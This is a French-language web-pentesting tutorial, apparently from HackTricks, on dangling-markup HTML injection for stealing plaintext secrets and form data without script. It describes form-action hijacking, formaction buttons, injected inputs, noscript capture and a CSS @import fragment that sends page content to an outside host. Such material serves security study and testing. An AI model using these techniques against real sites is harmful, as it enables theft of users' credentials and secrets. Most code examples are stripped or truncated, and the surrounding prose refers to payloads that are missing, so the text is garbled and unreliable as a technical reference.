# Dangling Markup - injection HTML sans script {{#include ../../banners/hacktricks-training.md}} ## Résumé Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS** ](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\ Elle est également utile si un **secret est enregistré en texte clair** dans le HTML et que vous souhaitez **l'exfiltrer** du client, ou si vous voulez induire en erreur l'exécution de certains scripts. Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**Content Security Policy**](../content-security-policy-csp-bypass/) en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...). ## Applications principales ### Vol de secrets en texte clair Si vous injectez `@import//hackvertor.co.uk? <--- Injected steal me!; ``` Vous pouvez également utiliser **`test ``` ### Vol de formulaires ```html ``` Ensuite, les formulaires qui envoient des données vers le chemin (comme `
`) enverront les données vers le domaine malveillant. ### Vol de formulaires 2 Définissez un en-tête de formulaire : `` cela écrasera l'en-tête du formulaire suivant et toutes les données du formulaire seront envoyées à l'attaquant. ### Vol de formulaires 3 Le bouton peut changer l'URL vers laquelle les informations du formulaire vont être envoyées avec l'attribut "formaction" : ```html ``` Un attaquant peut utiliser cela pour voler des informations. Trouvez un [**exemple de cette attaque dans ce document**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). ### Vol de secrets en texte clair 2 En utilisant la technique mentionnée ci-dessus pour voler des formulaires (injecter un nouvel en-tête de formulaire), vous pouvez ensuite injecter un nouveau champ de saisie : ```html `. Toutes les données jusqu'à ce qu'une balise fermante `` soit trouvée seront envoyées : ```html Click Me ← Injected lines ← Existing form (ignored by the parser) ... ← Subverted field ... ...
``` ### Vol de secrets en texte clair via noscript `` est une balise dont le contenu sera interprété si le navigateur ne prend pas en charge JavaScript (vous pouvez activer/désactiver JavaScript dans Chrome à [chrome://settings/content/javascript](chrome://settings/content/javascript)). Une façon d'exfiltrer le contenu de la page web depuis le point d'injection jusqu'en bas vers un site contrôlé par un attaquant sera d'injecter ceci : ```html